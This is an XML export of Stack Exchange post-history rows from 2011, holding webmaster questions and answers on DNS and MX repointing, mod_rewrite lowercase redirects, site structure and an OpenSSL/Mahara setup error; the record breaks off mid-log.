  <row Id="45698" PostHistoryTypeId="2" PostId="18736" RevisionGUID="0735fa97-778d-4bb4-a16a-b1bd698a1ed8" CreationDate="2011-08-25T08:59:50.007" UserId="9822" Text="I've searched the questions here, but have found nothing that gives me the assurance I require.&#xD;&#xA;&#xD;&#xA;My situation:&#xD;&#xA;&#xD;&#xA; - I have a domain registered with A, linked to hosting on A &#xD;&#xA; - I have hosting at B&#xD;&#xA; - I wish to have the domain registered with A point to the&#xD;&#xA;   hosting at B&#xD;&#xA; - I also have an external mailserver that must be pointed&#xD;&#xA;   to to handle all mail requests (MX?)&#xD;&#xA;&#xD;&#xA;In the above, A = Network Solutions, B = GoDaddy&#xD;&#xA;&#xD;&#xA;My question is how to I go about executing the above? Do I go into my Network Solutions account and change the DNS settings for the domain in question, changing the NS addresses to the goDaddy host, and the MX addresses to my mail server? If this is correct, how would I then set the folder on my host (B) that the domain (A) points to, do I do this via my goDaddy account?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Apologies if this has already been answered elsewhere, I just require absolute clarity as this is for a fairly sensitive website change- and apologies for my ignorance on the matter!" />
  <row Id="45699" PostHistoryTypeId="1" PostId="18736" RevisionGUID="0735fa97-778d-4bb4-a16a-b1bd698a1ed8" CreationDate="2011-08-25T08:59:50.007" UserId="9822" Text="How can I repoint my domain? DNS/MX etc" />
  <row Id="45700" PostHistoryTypeId="3" PostId="18736" RevisionGUID="0735fa97-778d-4bb4-a16a-b1bd698a1ed8" CreationDate="2011-08-25T08:59:50.007" UserId="9822" Text="&lt;web-hosting&gt;&lt;domains&gt;&lt;dns&gt;&lt;mx&gt;" />
  <row Id="45701" PostHistoryTypeId="5" PostId="18733" RevisionGUID="9c1aa6a7-da5a-4b93-b8f3-cec34cbc9142" CreationDate="2011-08-25T09:01:36.173" UserId="7198" Comment="added 1 characters in body; edited tags; edited title" Text="Where and which is the best way to do Adobe certifications? (Dreamweaver CS5 in India.)&#xD;&#xA;&#xD;&#xA;Also, does it have weightage in getting a job?" />
  <row Id="45702" PostHistoryTypeId="4" PostId="18733" RevisionGUID="9c1aa6a7-da5a-4b93-b8f3-cec34cbc9142" CreationDate="2011-08-25T09:01:36.173" UserId="7198" Comment="added 1 characters in body; edited tags; edited title" Text="Adobe  certifications: where can I do one, and will it help get me a job?" />
  <row Id="45703" PostHistoryTypeId="6" PostId="18733" RevisionGUID="9c1aa6a7-da5a-4b93-b8f3-cec34cbc9142" CreationDate="2011-08-25T09:01:36.173" UserId="7198" Comment="added 1 characters in body; edited tags; edited title" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;education&gt;" />
  <row Id="45704" PostHistoryTypeId="5" PostId="18736" RevisionGUID="4b957214-3f1c-4f94-8d04-27488b2eb0e1" CreationDate="2011-08-25T09:09:21.597" UserId="4502" Comment="Removed unnecessary &quot;variable&quot; usage, which did nothing but make reading this confusing." Text="I've searched the questions here, but have found nothing that gives me the assurance I require.&#xD;&#xA;&#xD;&#xA;My situation:&#xD;&#xA;&#xD;&#xA; - I have a domain registered with Network Solutions, linked to hosting on NetSol &#xD;&#xA; - I have hosting at GoDaddy&#xD;&#xA; - I wish to have the domain registered with NetSol point to the hosting at GoDaddy&#xD;&#xA; - I also have an external mailserver that must be pointed at to handle all mail requests (MX?)&#xD;&#xA;&#xD;&#xA;My question is how to I go about executing the above? Do I go into my Network Solutions account and change the DNS settings for the domain in question, changing the NS addresses to GoDaddy, and the MX addresses to my mail server? If this is correct, how would I then set the folder on GoDaddy that the domain points to, do I do this via my GoDaddy account?&#xD;&#xA;&#xD;&#xA;Apologies if this has already been answered elsewhere, I just require absolute clarity as this is for a fairly sensitive website change- and apologies for my ignorance on the matter!" />
  <row Id="45705" PostHistoryTypeId="5" PostId="18710" RevisionGUID="62f4133c-8970-4d52-934e-0c6ae8f20c9e" CreationDate="2011-08-25T09:12:28.440" UserId="4502" Comment="added 7 characters in body" Text="I use a hosted CMS and do not have server side access so I cannot set expiry for images but was told it helps to optimize my images and improve my site speed.  My question is what exactly does it mean to use image optimization? And how?&#xD;&#xA;&#xD;&#xA;Note: I use photoshop for majority of my image editing. " />
  <row Id="45706" PostHistoryTypeId="2" PostId="18737" RevisionGUID="31547468-0b40-4ddf-9d50-cd6a182c9c63" CreationDate="2011-08-25T09:27:04.797" UserId="8351" Text="I am currently helping redesign a poorly built website that suffered with a case of PHP spaghetti.&#xD;&#xA;&#xD;&#xA;In an attempt to structure the site I have the following tree (apologies for the length):&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    http://www.domain.co.uk		-	Root Directory&#xD;&#xA;    -	/&#xD;&#xA;    &#xD;&#xA;    -	/our-service&#xD;&#xA;    -	/our-service/pricing&#xD;&#xA;    -	/our-service/mobile&#xD;&#xA;    &#xD;&#xA;    -	/search&#xD;&#xA;    -	/search/results&#xD;&#xA;    -	/search/results/&lt;page_num&gt;&#xD;&#xA;    &#xD;&#xA;    -	/resources/announcements&#xD;&#xA;    -	/resources/competitions&#xD;&#xA;    -	/resources/email-archive/&lt;email_num&gt;&#xD;&#xA;    -	/resources/sitemap&#xD;&#xA;    &#xD;&#xA;    -	/contact&#xD;&#xA;    -	/contact/advertise&#xD;&#xA;    -	/contact/support&#xD;&#xA;    &#xD;&#xA;    -	/legal/terms&#xD;&#xA;    -	/legal/privacy&#xD;&#xA;    &#xD;&#xA;    -	/&lt;username&gt;&#xD;&#xA;    -	/&lt;username&gt;/reviews&#xD;&#xA;    -	/&lt;username&gt;/reviews/&lt;review_id&gt;&#xD;&#xA;    &#xD;&#xA;    http://my.domain.co.uk		-	User Account Area&#xD;&#xA;    -	/instructor&#xD;&#xA;    &#xD;&#xA;    -	/instructor/account&#xD;&#xA;    -	/instructor/account/activate/&lt;hash&gt;&#xD;&#xA;    -	/instructor/account/password&#xD;&#xA;    -	/instructor/account/email&#xD;&#xA;    -	/instructor/account/contact&#xD;&#xA;    -	/instructor/account/status&#xD;&#xA;    -	/instructor/account/close&#xD;&#xA;    &#xD;&#xA;    -	/instructor/billing&#xD;&#xA;    &#xD;&#xA;    -	/instructor/reviews&#xD;&#xA;    -	/instructor/reviews/disputes&#xD;&#xA;    -	/instructor/reviews/ratings&#xD;&#xA;    &#xD;&#xA;    -	/student/account&#xD;&#xA;    -	/student/account/activate/&lt;hash&gt;&#xD;&#xA;    -	/student/account/password&#xD;&#xA;    -	/student/account/email&#xD;&#xA;    -	/student/account/contact&#xD;&#xA;    -	/student/account/status&#xD;&#xA;    &#xD;&#xA;    -	/student/review&#xD;&#xA;    -	/student/review/past&#xD;&#xA;    &#xD;&#xA;    -	/student/theory&#xD;&#xA;    -	/student/theory/new&#xD;&#xA;    -	/student/theory/results&#xD;&#xA;    &#xD;&#xA;    -	/logout&#xD;&#xA;&#xD;&#xA;1) My first real question is if anyone is able to spot anything that may cause an issue further down the line using this structure? Obviously `/&lt;usernames&gt;` will be checked against a reserved list to prevent any issues in that sense.&#xD;&#xA;&#xD;&#xA;2) In terms of error handling I have seen several methods used on websites, one being url based. For example, an error with a username/password could be displayed using `/login?error=mismatch`. Is this a better approach than doing things invisibly behind the scenes or is there no real advantage?&#xD;&#xA;&#xD;&#xA;3) Finally, the site has two parts to its registration (student / instructor) with the student having a single page to complete, and the instructor a multi-page form. I can't figure what the best method would be to implement it into this structure." />
  <row Id="45707" PostHistoryTypeId="1" PostId="18737" RevisionGUID="31547468-0b40-4ddf-9d50-cd6a182c9c63" CreationDate="2011-08-25T09:27:04.797" UserId="8351" Text="Website Tree Structure" />
  <row Id="45708" PostHistoryTypeId="3" PostId="18737" RevisionGUID="31547468-0b40-4ddf-9d50-cd6a182c9c63" CreationDate="2011-08-25T09:27:04.797" UserId="8351" Text="&lt;htaccess&gt;&lt;sitemap&gt;" />
  <row Id="45709" PostHistoryTypeId="8" PostId="18736" RevisionGUID="cffe4316-9917-49fa-a4c8-4e4f15ea83fb" CreationDate="2011-08-25T09:27:40.507" UserId="9822" Comment="Rollback to [0735fa97-778d-4bb4-a16a-b1bd698a1ed8]" Text="I've searched the questions here, but have found nothing that gives me the assurance I require.&#xD;&#xA;&#xD;&#xA;My situation:&#xD;&#xA;&#xD;&#xA; - I have a domain registered with A, linked to hosting on A &#xD;&#xA; - I have hosting at B&#xD;&#xA; - I wish to have the domain registered with A point to the&#xD;&#xA;   hosting at B&#xD;&#xA; - I also have an external mailserver that must be pointed&#xD;&#xA;   to to handle all mail requests (MX?)&#xD;&#xA;&#xD;&#xA;In the above, A = Network Solutions, B = GoDaddy&#xD;&#xA;&#xD;&#xA;My question is how to I go about executing the above? Do I go into my Network Solutions account and change the DNS settings for the domain in question, changing the NS addresses to the goDaddy host, and the MX addresses to my mail server? If this is correct, how would I then set the folder on my host (B) that the domain (A) points to, do I do this via my goDaddy account?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Apologies if this has already been answered elsewhere, I just require absolute clarity as this is for a fairly sensitive website change- and apologies for my ignorance on the matter!" />
  <row Id="45710" PostHistoryTypeId="5" PostId="17340" RevisionGUID="0df79e80-7cbc-4d58-a9e7-f1cf108977e0" CreationDate="2011-08-25T09:28:46.247" UserId="4502" Comment="Actually /naming/ the plugin makes it search/index-able" Text="I am using Facebook comments on couple of my blogs at the moment and I just found that somehow magically all the previous comments made on posts are gone and are no longer being displayed.&#xD;&#xA;&#xD;&#xA;I'm using wordpress for all of these blogs and [Facebook Comments for WordPress][1] to manage all the facebook comments. But somehow they all disappeared all of a sudden.&#xD;&#xA;&#xD;&#xA;Another problem which I've been facing lately is that I can't seem to moderate the faceboook comments. When I go to http://developers.facebook.com/tools/comments where there should be a list of all the comments made on my sites (against the Applications that I've created just for the sake of comments), there is nothing there. This has been the thing from the starting, **before the comments vanished on my site, today**&#xD;&#xA;&#xD;&#xA;So technically, there are two issues to solve here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://we8u.com/facebook-comments/" />
  <row Id="45711" PostHistoryTypeId="25" PostId="18733" RevisionGUID="32587dc8-f9d8-4802-9b4a-7027d9622f50" CreationDate="2011-08-25T09:35:16.017" Comment="http://twitter.com/#!/StackWebmasters/status/106660904439001088" />
  <row Id="45712" PostHistoryTypeId="2" PostId="18738" RevisionGUID="c43524bb-54a5-4bb6-be1f-6960185beafb" CreationDate="2011-08-25T09:57:06.407" UserId="9824" Text="I suppose you are getting into web development.&#xD;&#xA;&#xD;&#xA;I suggest you looking into [Boilerplate][1]. A really good start to have a solid template and setup for both HTML5, CSS and eventually your JavaScript.&#xD;&#xA;&#xD;&#xA;As for tools/IDE, Adobe tools are great, but sometimes overwhelming. There are many other free alternatives out there, line Notepad++ for coding and paint.net for image editing. Whatever software you decide to use, just stick with it and learn to use it well.&#xD;&#xA;&#xD;&#xA;You may want to look for writing the code yourself, not using any WYSIWYG functionality EVER.&#xD;&#xA;&#xD;&#xA;One great thing to start coding and practicing is [jsfiddle][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://html5boilerplate.com/&#xD;&#xA;  [2]: http://jsfiddle.net" />
  <row Id="45713" PostHistoryTypeId="2" PostId="18739" RevisionGUID="046fa90d-89d9-40ee-aaac-bd23a5c10b04" CreationDate="2011-08-25T10:08:45.443" UserId="7198" Text="&gt; Do I go into my Network Solutions account and change the DNS settings for the domain in question, changing the NS addresses to the goDaddy host, and the MX addresses to my mail server?&#xD;&#xA;&#xD;&#xA;Yes. They offer instructions for changing [A records](http://www.networksolutions.com/support/a-records-ip-addresses/), [CNAME records](http://www.networksolutions.com/support/cname-records-host-aliases/), and [MX records](http://www.networksolutions.com/support/mx-records-mail-servers/).&#xD;&#xA;&#xD;&#xA;&gt; If this is correct, how would I then set the folder on my host (B) that the domain (A) points to, do I do this via my goDaddy account?&#xD;&#xA;&#xD;&#xA;You need to add the domain in your GoDaddy control panel. This differs depending on which hosting package you have with them. See [Managing Your Hosting Account Domains](http://help.godaddy.com/article/4688) from their help pages. Be sure to set up this new domain before changing your DNS records with Network Solutions so that the account and folder exists when traffic starts to arrive at GoDaddy's servers.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45714" PostHistoryTypeId="8" PostId="18736" RevisionGUID="1a280034-bb94-4eeb-b602-d28ae77bc0f7" CreationDate="2011-08-25T10:09:57.330" UserId="7198" Comment="Rollback to [4b957214-3f1c-4f94-8d04-27488b2eb0e1]" Text="I've searched the questions here, but have found nothing that gives me the assurance I require.&#xD;&#xA;&#xD;&#xA;My situation:&#xD;&#xA;&#xD;&#xA; - I have a domain registered with Network Solutions, linked to hosting on NetSol &#xD;&#xA; - I have hosting at GoDaddy&#xD;&#xA; - I wish to have the domain registered with NetSol point to the hosting at GoDaddy&#xD;&#xA; - I also have an external mailserver that must be pointed at to handle all mail requests (MX?)&#xD;&#xA;&#xD;&#xA;My question is how to I go about executing the above? Do I go into my Network Solutions account and change the DNS settings for the domain in question, changing the NS addresses to GoDaddy, and the MX addresses to my mail server? If this is correct, how would I then set the folder on GoDaddy that the domain points to, do I do this via my GoDaddy account?&#xD;&#xA;&#xD;&#xA;Apologies if this has already been answered elsewhere, I just require absolute clarity as this is for a fairly sensitive website change- and apologies for my ignorance on the matter!" />
  <row Id="45715" PostHistoryTypeId="5" PostId="18739" RevisionGUID="52db74c0-dc12-4922-b3b1-04c43b92367c" CreationDate="2011-08-25T10:20:24.733" UserId="7198" Comment="added 160 characters in body" Text="&gt; Do I go into my Network Solutions account and change the DNS settings for the domain in question, changing the NS addresses to the goDaddy host, and the MX addresses to my mail server?&#xD;&#xA;&#xD;&#xA;Change your [A records](http://www.networksolutions.com/support/a-records-ip-addresses/) or [CNAME records](http://www.networksolutions.com/support/cname-records-host-aliases/) to point to the GoDaddy server IP address or hostname, and your [MX records](http://www.networksolutions.com/support/mx-records-mail-servers/) to point to the mailserver. (You should be able to find the GoDaddy server IP address or hostname in your hosting control panel.)&#xD;&#xA;&#xD;&#xA;&gt; If this is correct, how would I then set the folder on my host (B) that the domain (A) points to, do I do this via my goDaddy account?&#xD;&#xA;&#xD;&#xA;You need to add the domain in your GoDaddy control panel. This differs depending on which hosting package you have with them. See [Managing Your Hosting Account Domains](http://help.godaddy.com/article/4688) from their help pages. Be sure to set up this new domain before changing your DNS records with Network Solutions so that the account and folder exists when traffic starts to arrive at GoDaddy's servers.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45716" PostHistoryTypeId="2" PostId="18740" RevisionGUID="1579e8aa-1821-4117-8758-4434f0ea5fc5" CreationDate="2011-08-25T10:45:08.570" UserId="8354" Text="To implement such redirect using mod_rewrite and .htaccess you need to use `RewriteMap` directive which cannot be placed in .htaccess -- only in server config / VirtualHost context. If you have such access:&#xD;&#xA;&#xD;&#xA;**1\.** Place this line inside `&lt;VirtualHost&gt;` block for your site:&#xD;&#xA;&#xD;&#xA;    RewriteMap lc int:tolower&#xD;&#xA;&#xD;&#xA;**2\.** Place this in your .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI} [A-Z]&#xD;&#xA;    RewriteRule . ${lc:%{REQUEST_URI}} [R=301,L]&#xD;&#xA;&#xD;&#xA;This will redirect (301 Permanent Redirect) **any URL that has at least 1 capital letter** (Latin letters only) **in path part of URL** (query string is ignored) to the same but in lower case. &#xD;&#xA;&#xD;&#xA;**For example:**&#xD;&#xA;&#xD;&#xA;    http://mydomain.com/myfolder-sample-URL.html&#xD;&#xA;    =&gt; &#xD;&#xA;    http://mydomain.com/myfolder-sample-url.html&#xD;&#xA;&#xD;&#xA;    http://mydomain.com/myfolder-sample-url.HTML&#xD;&#xA;    =&gt; &#xD;&#xA;    http://mydomain.com/myfolder-sample-url.html&#xD;&#xA;&#xD;&#xA;but will do nothing for these URLs:&#xD;&#xA;&#xD;&#xA;    http://mydomain.com/myfolder-sample-url.html?say=MEOW&#xD;&#xA;    http://MYDOMAIN.com/myfolder-sample-url.html&#xD;&#xA;&#xD;&#xA;**If you want to restrict it to .html files only:**&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI} [A-Z]&#xD;&#xA;    RewriteRule ^.+\.html$ ${lc:%{REQUEST_URI}} [NC,R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I also recommend using **rel=&quot;canonical&quot;** links:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;PROPER_URL_HERE&quot; /&gt;&#xD;&#xA;&#xD;&#xA;- http://www.google.com/support/webmasters/bin/answer.py?answer=139394&#xD;&#xA;- http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;If you do not need redirect, but rather ability to serve the file regardless of the file name case (case insensitive file names), then you can use **mod_spelling** ( http://httpd.apache.org/docs/current/mod/mod_speling.html ) and `CheckCaseOnly On` directive." />
  <row Id="45717" PostHistoryTypeId="5" PostId="18740" RevisionGUID="05523a7a-01e7-446b-a220-2456a4c60893" CreationDate="2011-08-25T11:19:17.157" UserId="8354" Comment="added 349 characters in body" Text="To implement such redirect using mod_rewrite and .htaccess you need to use `RewriteMap` directive which cannot be placed in .htaccess -- only in server config / VirtualHost context. If you have such access:&#xD;&#xA;&#xD;&#xA;**1\.** Place this line inside `&lt;VirtualHost&gt;` block for your site:&#xD;&#xA;&#xD;&#xA;    RewriteMap lc int:tolower&#xD;&#xA;&#xD;&#xA;**2\.** Place this in your .htaccess:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI} [A-Z]&#xD;&#xA;    RewriteRule . ${lc:%{REQUEST_URI}} [R=301,L]&#xD;&#xA;&#xD;&#xA;This will redirect (301 Permanent Redirect) **any URL that has at least 1 capital letter** (Latin letters only) **in path part of URL** (query string is ignored) to the same but in lower case.&#xD;&#xA;&#xD;&#xA;**For example:**&#xD;&#xA;&#xD;&#xA;    http://mydomain.com/myfolder-sample-URL.html&#xD;&#xA;    =&gt; &#xD;&#xA;    http://mydomain.com/myfolder-sample-url.html&#xD;&#xA;&#xD;&#xA;    http://mydomain.com/myfolder-sample-url.HTML&#xD;&#xA;    =&gt; &#xD;&#xA;    http://mydomain.com/myfolder-sample-url.html&#xD;&#xA;&#xD;&#xA;but will do nothing for these URLs:&#xD;&#xA;&#xD;&#xA;    http://mydomain.com/myfolder-sample-url.html?say=MEOW&#xD;&#xA;    http://MYDOMAIN.com/myfolder-sample-url.html&#xD;&#xA;&#xD;&#xA;**If you want to restrict it to .html files only:**&#xD;&#xA;&#xD;&#xA;    RewriteCond %{REQUEST_URI} [A-Z]&#xD;&#xA;    RewriteRule ^.+\.html$ ${lc:%{REQUEST_URI}} [NC,R=301,L]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Where to place:** I would place it after domain name redirect rule:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain\.com [NC]&#xD;&#xA;    RewriteRule (.*) http://mydomain.com/$1 [L,R=301]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} [A-Z]&#xD;&#xA;    RewriteRule . ${lc:%{REQUEST_URI}} [R=301,L]&#xD;&#xA;    &#xD;&#xA;    # your other rules&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I also recommend using **rel=&quot;canonical&quot;** links:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;PROPER_URL_HERE&quot; /&gt;&#xD;&#xA;&#xD;&#xA;- http://www.google.com/support/webmasters/bin/answer.py?answer=139394&#xD;&#xA;- http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;If you do not need redirect, but rather ability to serve the file regardless of the file name case (case insensitive file names), then you can use **mod_spelling** ( http://httpd.apache.org/docs/current/mod/mod_speling.html ) and `CheckCaseOnly On` directive.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45718" PostHistoryTypeId="10" PostId="18734" RevisionGUID="1c2d6e1d-dc62-4111-918a-01ca55acf811" CreationDate="2011-08-25T11:34:47.257" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45719" PostHistoryTypeId="10" PostId="18733" RevisionGUID="49932702-0bbc-46e9-889e-32c7db9c36c7" CreationDate="2011-08-25T11:36:09.143" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45720" PostHistoryTypeId="5" PostId="18670" RevisionGUID="b6870fbf-bc90-4572-9dcf-da945b2847d1" CreationDate="2011-08-25T11:38:58.220" UserId="1253" Comment="minor text edits" Text="I have this .htacces files:&#xD;&#xA;&#xD;&#xA;    ErrorDocument 404 /index.html&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    Options +FollowSymLinks&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{HTTP_HOST} ^domain\.com [NC]&#xD;&#xA;    RewriteRule (.*) http://mydomain.com/$1 [L,R=301]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_URI} index.php$&#xD;&#xA;    RewriteCond %{QUERY_STRING} ^search=([A-Za-z0-9\+]+)$&#xD;&#xA;    RewriteRule ^(.*)$ /mystring-%1.html? [R=301,L]&#xD;&#xA;    RewriteRule ^myfolder-([^+]+)\+([^.]+)\.html$ /mp3-$1-$2.html [R=301,L]&#xD;&#xA;    RewriteRule ^myfolder-(.*).html$ index.php?search=$1&amp;a=1 [L]&#xD;&#xA;    RewriteRule ^myfolder-([a-zA-Z0-9_-]+)-([^-]*)\.htm$ /index.php?search=$1&amp;page=$2 [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;**I want to redirect all of the Upercase and all case to lowercase URL like this:**&#xD;&#xA;&#xD;&#xA;http://mydomain.com/myfolder-sample-URL.html&#xD;&#xA;to&#xD;&#xA;http://mydomain.com/myfolder-sample-url.html&#xD;&#xA;" />
  <row Id="45722" PostHistoryTypeId="17" PostId="18741" RevisionGUID="96e9afd4-3f8a-44c5-9133-cac3555bcd28" CreationDate="2011-08-25T12:08:33.533" UserId="-1" Comment="from http://stackoverflow.com/questions/7182427/blogspot-as-a-simple-cms" Text="" />
  <row Id="45723" PostHistoryTypeId="2" PostId="18741" RevisionGUID="a833272a-d5d1-4546-90dd-60347e7977dd" CreationDate="2011-08-24T21:20:53.713" UserDisplayName="G1ug" Text="Blogger/Blogspot recently released a new version of their software. This new version appears to have features relevant to a simple CMS (static page, albeit limited). &#xD;&#xA;&#xD;&#xA;I read from their Buzz Blog about a few websites that don't necessarily look like a typical Blogspot blog but rather somewhat a typical website deployed using a minimal CMS software:&#xD;&#xA;&#xD;&#xA;http://buzz.blogger.com/2011/07/you-can-do-some-amazing-things-with.html&#xD;&#xA;&#xD;&#xA;Can anyone point resources where I can learn how to do these? (Preferably case-studies with some steps how to create such website as oppose to Blogger HOWTO).&#xD;&#xA;&#xD;&#xA;Plus point if you can also tell me the infrastructure of Blogger.com (software stack, etc).&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="45724" PostHistoryTypeId="1" PostId="18741" RevisionGUID="a833272a-d5d1-4546-90dd-60347e7977dd" CreationDate="2011-08-24T21:20:53.713" UserDisplayName="G1ug" Text="Blogspot as a simple CMS" />
  <row Id="45725" PostHistoryTypeId="3" PostId="18741" RevisionGUID="a833272a-d5d1-4546-90dd-60347e7977dd" CreationDate="2011-08-24T21:20:53.713" UserDisplayName="G1ug" Text="&lt;cms&gt;&lt;blogger&gt;" />
  <row Id="45726" PostHistoryTypeId="25" PostId="18736" RevisionGUID="759ea7bf-5a5c-4b45-8881-a61e17495d16" CreationDate="2011-08-25T12:35:16.363" Comment="http://twitter.com/#!/StackWebmasters/status/106706204943851521" />
  <row Id="45727" PostHistoryTypeId="2" PostId="18742" RevisionGUID="01d5348b-fc58-43c9-9d2e-b7266f2bf4d6" CreationDate="2011-08-25T12:36:32.163" UserId="7231" Text="(I copied this over from stackoverflow because a PHP question is probably better suited for this place)&#xD;&#xA;&#xD;&#xA;I need OpenSSL working on an Apache 2 Webserver with PHP in order to use a combination of Moodle and Mahara with SSO.&#xD;&#xA;&#xD;&#xA;The Server is running Ubuntu 10.04.3 and I've enabled the SSL package as described [here](https://help.ubuntu.com/10.04/serverguide/C/httpd.html). I've also followed [these](https://help.ubuntu.com/10.04/serverguide/C/certificates-and-security.html) steps for setting up the certificates. Manually creating them worked fine.&#xD;&#xA;&#xD;&#xA;However, Mahara does not see OpenSSL as correctly configured: &#xD;&#xA;&#xD;&#xA;&gt; Could not generate a new SSL key. Are you sure that both openssl and the PHP module for openssl are installed on this machine? &#xD;&#xA;&#xD;&#xA;This is from the Apache error.log after starting the server:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [Thu Aug 25 10:38:06 2011] [warn] RSA server certificate is a CA certificate (BasicConstraints: CA == TRUE !?)&#xD;&#xA;    [Thu Aug 25 10:38:06 2011] [warn] RSA server certificate is a CA certificate (BasicConstraints: CA == TRUE !?)&#xD;&#xA;    [Thu Aug 25 10:38:06 2011] [warn] Init: Name-based SSL virtual hosts only work for clients with TLS server name indication support (RFC 4366)&#xD;&#xA;    PHP Deprecated:  Comments starting with '#' are deprecated in /etc/php5/apache2/conf.d/imap.ini on line 1 in Unknown on line 0&#xD;&#xA;    [Thu Aug 25 10:38:06 2011] [warn] RSA server certificate is a CA certificate (BasicConstraints: CA == TRUE !?)&#xD;&#xA;    [Thu Aug 25 10:38:06 2011] [warn] RSA server certificate is a CA certificate (BasicConstraints: CA == TRUE !?)&#xD;&#xA;    [Thu Aug 25 10:38:06 2011] [warn] Init: Name-based SSL virtual hosts only work for clients with TLS server name indication support (RFC 4366)&#xD;&#xA;    [Thu Aug 25 10:38:06 2011] [notice] Apache/2.2.14 (Ubuntu) mod_ssl/2.2.14 OpenSSL/0.9.8k configured -- resuming normal operations&#xD;&#xA;&#xD;&#xA;And this is what I get when visiting Maharas networking page, which says it couldn't find OpenSSL:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx] [WAR] 6d (api/xmlrpc/lib.php:1324) openssl_csr_new(): dn: add_entry_by_NID 17 -&gt; Mahara for example.com (failed), referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx] Call stack (most recent first):, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * log_message(&quot;openssl_csr_new(): dn: add_entry_by_NID 17 -&gt; Maha...&quot;, 8, true, true, &quot;/var/www/mahara/api/xmlrpc/lib.php&quot;, 1324) at /var/www/mahara/lib/errors.php:446, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * error(2, &quot;openssl_csr_new(): dn: add_entry_by_NID 17 -&gt; Maha...&quot;, &quot;/var/www/mahara/api/xmlrpc/lib.php&quot;, 1324, array(size 11)) at Unknown:0, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * openssl_csr_new(array(size 7), resource(#22), array(size 1)) at /var/www/mahara/api/xmlrpc/lib.php:1324, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * OpenSslRepo-&gt;generate_keypair() at /var/www/mahara/api/xmlrpc/lib.php:1238, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * OpenSslRepo-&gt;get_keypair() at /var/www/mahara/api/xmlrpc/lib.php:1145, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * OpenSslRepo-&gt;__construct() at /var/www/mahara/api/xmlrpc/lib.php:1131, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * OpenSslRepo::singleton() at /var/www/mahara/admin/site/networking.php:56, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx] , referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx] [WAR] 6d (api/xmlrpc/lib.php:1328) Could not generate a new SSL key. Are you sure that both openssl and the PHP module for openssl are installed on this machine?, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx] Call stack (most recent first):, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * OpenSslRepo-&gt;generate_keypair() at /var/www/mahara/api/xmlrpc/lib.php:1238, referer: http://example.com/mahara/admin/&#xD;&#xA;    [Thu Aug 25 10:45:26 2011] [error] [client xx.xx.xx.xx]   * OpenSslRepo-&gt;get_keypair() at /var/www/mahara/api/xmlrpc/lib.php:1145, referer: 